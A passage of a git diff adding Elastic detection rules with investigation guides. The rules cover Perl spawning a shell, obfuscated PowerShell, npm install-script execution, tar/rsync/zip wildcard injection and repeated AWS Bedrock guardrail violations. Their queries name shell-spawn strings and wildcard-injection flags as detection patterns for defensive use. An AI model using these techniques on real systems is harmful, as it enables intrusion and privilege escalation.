diff --git a/packages/security_detection_engine/changelog.yml b/packages/security_detection_engine/changelog.yml index 99baddeaa14..999b966a857 100644 --- a/packages/security_detection_engine/changelog.yml +++ b/packages/security_detection_engine/changelog.yml @@ -1,5 +1,10 @@ # newer versions go on top # NOTE: please use pre-release versions (e.g. -beta.0) until a package is ready for production +- version: 8.19.10-beta.1 + changes: + - description: Release security rules update + type: enhancement + link: https://github.com/elastic/integrations/pull/15934 - version: 8.19.9 changes: - description: Release security rules update diff --git a/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_112.json b/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_112.json new file mode 100644 index 00000000000..f66c8d9345d --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/05e5a668-7b51-4a67-93ab-e9af405c9ef3_112.json @@ -0,0 +1,93 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a simple reverse shell to a fully interactive tty after obtaining initial access to a host.", + "from": "now-9m", + "index": [ + "auditbeat-*", + "logs-endpoint.events.*", + "endgame-*", + "logs-crowdstrike.fdr*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Interactive Terminal Spawned via Perl", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Interactive Terminal Spawned via Perl\n\nPerl, a versatile scripting language, can execute system commands, making it a target for adversaries seeking to escalate privileges or maintain persistence. Attackers may exploit Perl to spawn interactive terminals, transforming basic shells into robust command interfaces. The detection rule identifies such activity by monitoring process events on Linux systems, specifically when Perl executes shell commands, signaling potential misuse.\n\n### Possible investigation steps\n\n- Review the process event logs to confirm the presence of a Perl process with arguments indicating the execution of a shell, such as \"exec \\\"/bin/sh\\\";\", \"exec \\\"/bin/dash\\\";\", or \"exec \\\"/bin/bash\\\";\".\n- Identify the user account associated with the Perl process to determine if it aligns with expected activity or if it suggests unauthorized access.\n- Examine the parent process of the Perl execution to understand how the Perl script was initiated and assess if it correlates with legitimate user activity or a potential compromise.\n- Check for any network connections or data transfers initiated by the Perl process to identify possible exfiltration or communication with external command and control servers.\n- Investigate any recent changes to user accounts, permissions, or scheduled tasks that might indicate privilege escalation or persistence mechanisms associated with the Perl activity.\n- Correlate the event with other security alerts or logs from the same host to identify patterns or additional indicators of compromise that could suggest a broader attack campaign.\n\n### False positive analysis\n\n- System maintenance scripts that use Perl to execute shell commands may trigger this rule. Review and whitelist known maintenance scripts by adding exceptions for specific script paths or process arguments.\n- Automated deployment tools that utilize Perl for executing shell commands can cause false positives. Identify these tools and exclude their specific process arguments or execution paths from the detection rule.\n- Development environments where Perl is used for testing or debugging purposes might inadvertently spawn interactive terminals. Consider excluding processes initiated by known development user accounts or within specific development directories.\n- Backup or monitoring scripts that rely on Perl to perform system checks or data collection could be flagged. Analyze these scripts and create exceptions based on their unique process arguments or execution context.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious Perl processes identified by the detection rule to halt any ongoing malicious activity.\n- Conduct a thorough review of the affected system's logs and process history to identify any additional indicators of compromise or related malicious activity.\n- Reset credentials and review access permissions for any accounts that may have been compromised or used in the attack.\n- Restore the affected system from a known good backup to ensure any malicious changes are removed.\n- Implement additional monitoring on the affected host and network to detect any further attempts to exploit Perl for spawning interactive terminals.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if broader organizational impacts exist.", + "query": "event.category:process and host.os.type:linux and event.type:(start or process_started) and process.name:perl and\n process.args:(\"exec \\\"/bin/sh\\\";\" or \"exec \\\"/bin/dash\\\";\" or \"exec \\\"/bin/bash\\\";\")\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.category", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "05e5a668-7b51-4a67-93ab-e9af405c9ef3", + "setup": "## Setup\n\nThis rule requires data coming in from one of the following integrations:\n- Elastic Defend\n- Auditbeat\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n\n### Auditbeat Setup\nAuditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations.\n\n#### The following steps should be executed in order to add the Auditbeat on a Linux System:\n- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages.\n- To install the APT and YUM repositories follow the setup instructions in this [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html).\n- To run Auditbeat on Docker follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html).\n- To run Auditbeat on Kubernetes follow the setup instructions in the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html).\n- For complete \u201cSetup and Run Auditbeat\u201d information refer to the [helper guide](https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html).\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Execution", + "Data Source: Elastic Endgame", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 112 + }, + "id": "05e5a668-7b51-4a67-93ab-e9af405c9ef3_112", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_4.json b/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_4.json new file mode 100644 index 00000000000..93030a72017 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/083383af-b9a4-42b7-a463-29c40efe7797_4.json @@ -0,0 +1,143 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use concatenated strings within dynamic command invocation (&() or .()) as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation\n\nPowerShell is a powerful scripting language used for task automation and configuration management in Windows environments. Adversaries exploit its capabilities by obfuscating commands to evade detection, often using concatenated strings in dynamic invocations. This detection rule identifies such obfuscation by analyzing script patterns, specifically looking for concatenated strings within dynamic command invocations, which are indicative of attempts to bypass security measures like AMSI. By counting these patterns, the rule effectively flags suspicious scripts, aiding in the identification of potential threats.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the content and purpose of the script, focusing on the concatenated strings and dynamic command invocations.\n- Check the `host.name` and `user.id` fields to identify the machine and user account associated with the execution of the suspicious script, which can help determine if the activity is expected or anomalous.\n- Analyze the `file.path` field to locate the script's source or storage location, which may provide additional context or indicate if the script is part of a known application or process.\n- Investigate the `powershell.file.script_block_id` and `powershell.sequence` fields to trace the execution sequence and correlate it with other related PowerShell activities, which might reveal a broader pattern of behavior.\n- Assess the `agent.id` field to determine the specific endpoint agent involved, which can assist in further endpoint-specific investigations or actions.\n\n### False positive analysis\n\n- Scripts with legitimate concatenated strings for dynamic command execution may trigger the rule. Review the script context to determine if the concatenation serves a valid administrative purpose.\n- Automated scripts from trusted sources that use concatenation for modularity or readability might be flagged. Consider adding these scripts to an allowlist if they are verified as safe.\n- Development or testing environments where PowerShell scripts are frequently modified and tested could generate false positives. Implement exceptions for known development hosts or user accounts.\n- Security tools or monitoring solutions that use PowerShell for legitimate operations may inadvertently match the pattern. Identify these tools and exclude their operations from the rule.\n- Regularly review and update the exclusion list to ensure it reflects the current environment and does not inadvertently allow malicious activity.\n\n### Response and remediation\n\n- Isolate the affected host immediately to prevent further execution of potentially malicious scripts and limit lateral movement within the network.\n- Terminate any suspicious PowerShell processes identified by the alert to halt the execution of obfuscated commands.\n- Conduct a thorough review of the script block text and associated script block ID to understand the intent and potential impact of the obfuscated commands.\n- Remove any unauthorized or malicious scripts from the affected system and ensure that all legitimate scripts are verified and signed.\n- Restore the affected system from a known good backup if any malicious activity is confirmed, ensuring that all data integrity checks are performed.\n- Escalate the incident to the security operations team for further analysis and to determine if additional systems have been compromised.\n- Update endpoint protection and monitoring tools to enhance detection capabilities for similar obfuscation techniques, leveraging insights from the MITRE ATT&CK framework.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\" and powershell.file.script_block_text like \"*+*\"\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"[.&]\\(\\s*(['\"][A-Za-z0-9.-]+['\"]\\s*\\+\\s*)+['\"][A-Za-z0-9.-]+['\"]\\s*\\)\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least once\n| where Esql.script_block_pattern_count >= 1\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "083383af-b9a4-42b7-a463-29c40efe7797", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "083383af-b9a4-42b7-a463-29c40efe7797_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0871a5d8-6b5f-4a12-a568-fd7bc05bd8db_2.json b/packages/security_detection_engine/kibana/security_rule/0871a5d8-6b5f-4a12-a568-fd7bc05bd8db_2.json new file mode 100644 index 00000000000..012374dd655 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0871a5d8-6b5f-4a12-a568-fd7bc05bd8db_2.json @@ -0,0 +1,149 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Node.js Pre or Post-Install Script Execution", + "query": "sequence by host.id with maxspan=10s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.name == \"node\" and process.args == \"install\"] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"ProcessRollup2\") and process.parent.name == \"node\"] by process.parent.entity_id\n", + "references": [ + "https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0871a5d8-6b5f-4a12-a568-fd7bc05bd8db", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Persistence", + "Tactic: Execution", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1543", + "name": "Create or Modify System Process", + "reference": "https://attack.mitre.org/techniques/T1543/" + }, + { + "id": "T1574", + "name": "Hijack Execution Flow", + "reference": "https://attack.mitre.org/techniques/T1574/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [] + } + ], + "type": "eql", + "version": 2 + }, + "id": "0871a5d8-6b5f-4a12-a568-fd7bc05bd8db_2", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_111.json b/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_111.json new file mode 100644 index 00000000000..a061abcc0c3 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0b803267-74c5-444d-ae29-32b5db2d562a_111.json @@ -0,0 +1,139 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule monitors for the execution of a set of linux binaries, that are potentially vulnerable to wildcard injection, with suspicious command line flags followed by a shell spawn event. Linux wildcard injection is a type of security vulnerability where attackers manipulate commands or input containing wildcards (e.g., *, ?, []) to execute unintended operations or access sensitive data by tricking the system into interpreting the wildcard characters in unexpected ways.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.process*", + "logs-sentinel_one_cloud_funnel.*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Potential Shell via Wildcard Injection Detected", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Shell via Wildcard Injection Detected\n\nWildcard injection exploits vulnerabilities in Linux command-line utilities by manipulating wildcard characters to execute unauthorized commands. Adversaries leverage this to escalate privileges or execute arbitrary code. The detection rule identifies suspicious use of vulnerable binaries like `tar`, `rsync`, and `zip` followed by shell execution, indicating potential exploitation attempts.\n\n### Possible investigation steps\n\n- Review the process details to identify the specific command executed, focusing on the process name and arguments, especially those involving `tar`, `rsync`, or `zip` with suspicious flags like `--checkpoint=*`, `-e*`, or `--unzip-command`.\n- Examine the parent process information to determine if a shell process (e.g., `bash`, `sh`, `zsh`) was spawned, indicating potential exploitation.\n- Check the process execution path to ensure it does not match the exclusion pattern `/tmp/newroot/*`, which might indicate a benign operation.\n- Investigate the host's recent activity logs to identify any other suspicious or related events that might indicate a broader attack or compromise.\n- Correlate the alert with any other security events or alerts from the same host to assess if this is part of a larger attack pattern or campaign.\n- Assess the user account associated with the process execution to determine if it has the necessary privileges and if the activity aligns with expected behavior for that account.\n\n### False positive analysis\n\n- Legitimate use of tar, rsync, or zip with wildcard-related flags in automated scripts or backup processes can trigger false positives. Review the context of these processes and consider excluding specific scripts or directories from monitoring if they are verified as safe.\n- System administrators or maintenance scripts may use shell commands following tar, rsync, or zip for legitimate purposes. Identify these routine operations and create exceptions for known safe parent processes or specific command patterns.\n- Development environments or testing scenarios might involve intentional use of wildcard characters for testing purposes. Exclude these environments from the rule or adjust the rule to ignore specific user accounts or process paths associated with development activities.\n- Scheduled tasks or cron jobs that involve the use of these binaries with wildcard flags can be mistaken for malicious activity. Verify the legitimacy of these tasks and exclude them based on their schedule or specific command line arguments.\n- Security tools or monitoring solutions that simulate attacks for testing or validation purposes might trigger this rule. Ensure these tools are recognized and excluded from monitoring to prevent unnecessary alerts.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or lateral movement.\n- Terminate any suspicious processes identified in the alert, particularly those involving the execution of shell commands following the use of `tar`, `rsync`, or `zip`.\n- Conduct a thorough review of the affected system's logs to identify any additional indicators of compromise or unauthorized access attempts.\n- Restore the affected system from a known good backup if any unauthorized changes or malicious activities are confirmed.\n- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited.\n- Implement file integrity monitoring on critical systems to detect unauthorized changes to system binaries or configuration files.\n- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network.", + "query": "sequence by host.id with maxspan=1s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and (\n (process.name == \"tar\" and process.args : \"--checkpoint=*\" and process.args : \"--checkpoint-action=*\") or\n (process.name == \"rsync\" and process.args : \"-e*\") or\n (process.name == \"zip\" and process.args == \"--unzip-command\")\n ) and not process.executable : \"/tmp/newroot/*\"\n ] by process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"start\", \"ProcessRollup2\") and\n process.parent.name : (\"tar\", \"rsync\", \"zip\") and\n process.name : (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\")\n ] by process.parent.entity_id\n", + "references": [ + "https://www.exploit-db.com/papers/33930" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "sentinel_one_cloud_funnel", + "version": "^1.0.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.entity_id", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "0b803267-74c5-444d-ae29-32b5db2d562a", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Tactic: Privilege Escalation", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Data Source: SentinelOne", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1068", + "name": "Exploitation for Privilege Escalation", + "reference": "https://attack.mitre.org/techniques/T1068/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/" + } + ] + } + ], + "type": "eql", + "version": 111 + }, + "id": "0b803267-74c5-444d-ae29-32b5db2d562a_111", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_7.json b/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_7.json new file mode 100644 index 00000000000..b14f0db371c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/0cd2f3e6-41da-40e6-b28b-466f688f00a6_7.json @@ -0,0 +1,70 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies multiple violations of AWS Bedrock guardrails by the same user in the same account over a session. Multiple violations implies that a user may be intentionally attempting to cirvumvent security controls, access sensitive information, or possibly exploit a vulnerability in the system.", + "false_positives": [ + "Legitimate misunderstanding by users or overly strict policies" + ], + "from": "now-60m", + "interval": "10m", + "language": "esql", + "license": "Elastic License v2", + "name": "AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session", + "note": "## Triage and analysis\n\n### Investigating AWS Bedrock Guardrails Detected Multiple Violations by a Single User Over a Session\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"denied topics\" to prevent the model from generating content on specific, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account that caused multiple policy violations over a session and whether it should perform this kind of action.\n- Investigate the user activity that might indicate a potential brute force attack.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that caused multiple policy violations by a single user over session, is not testing any new model 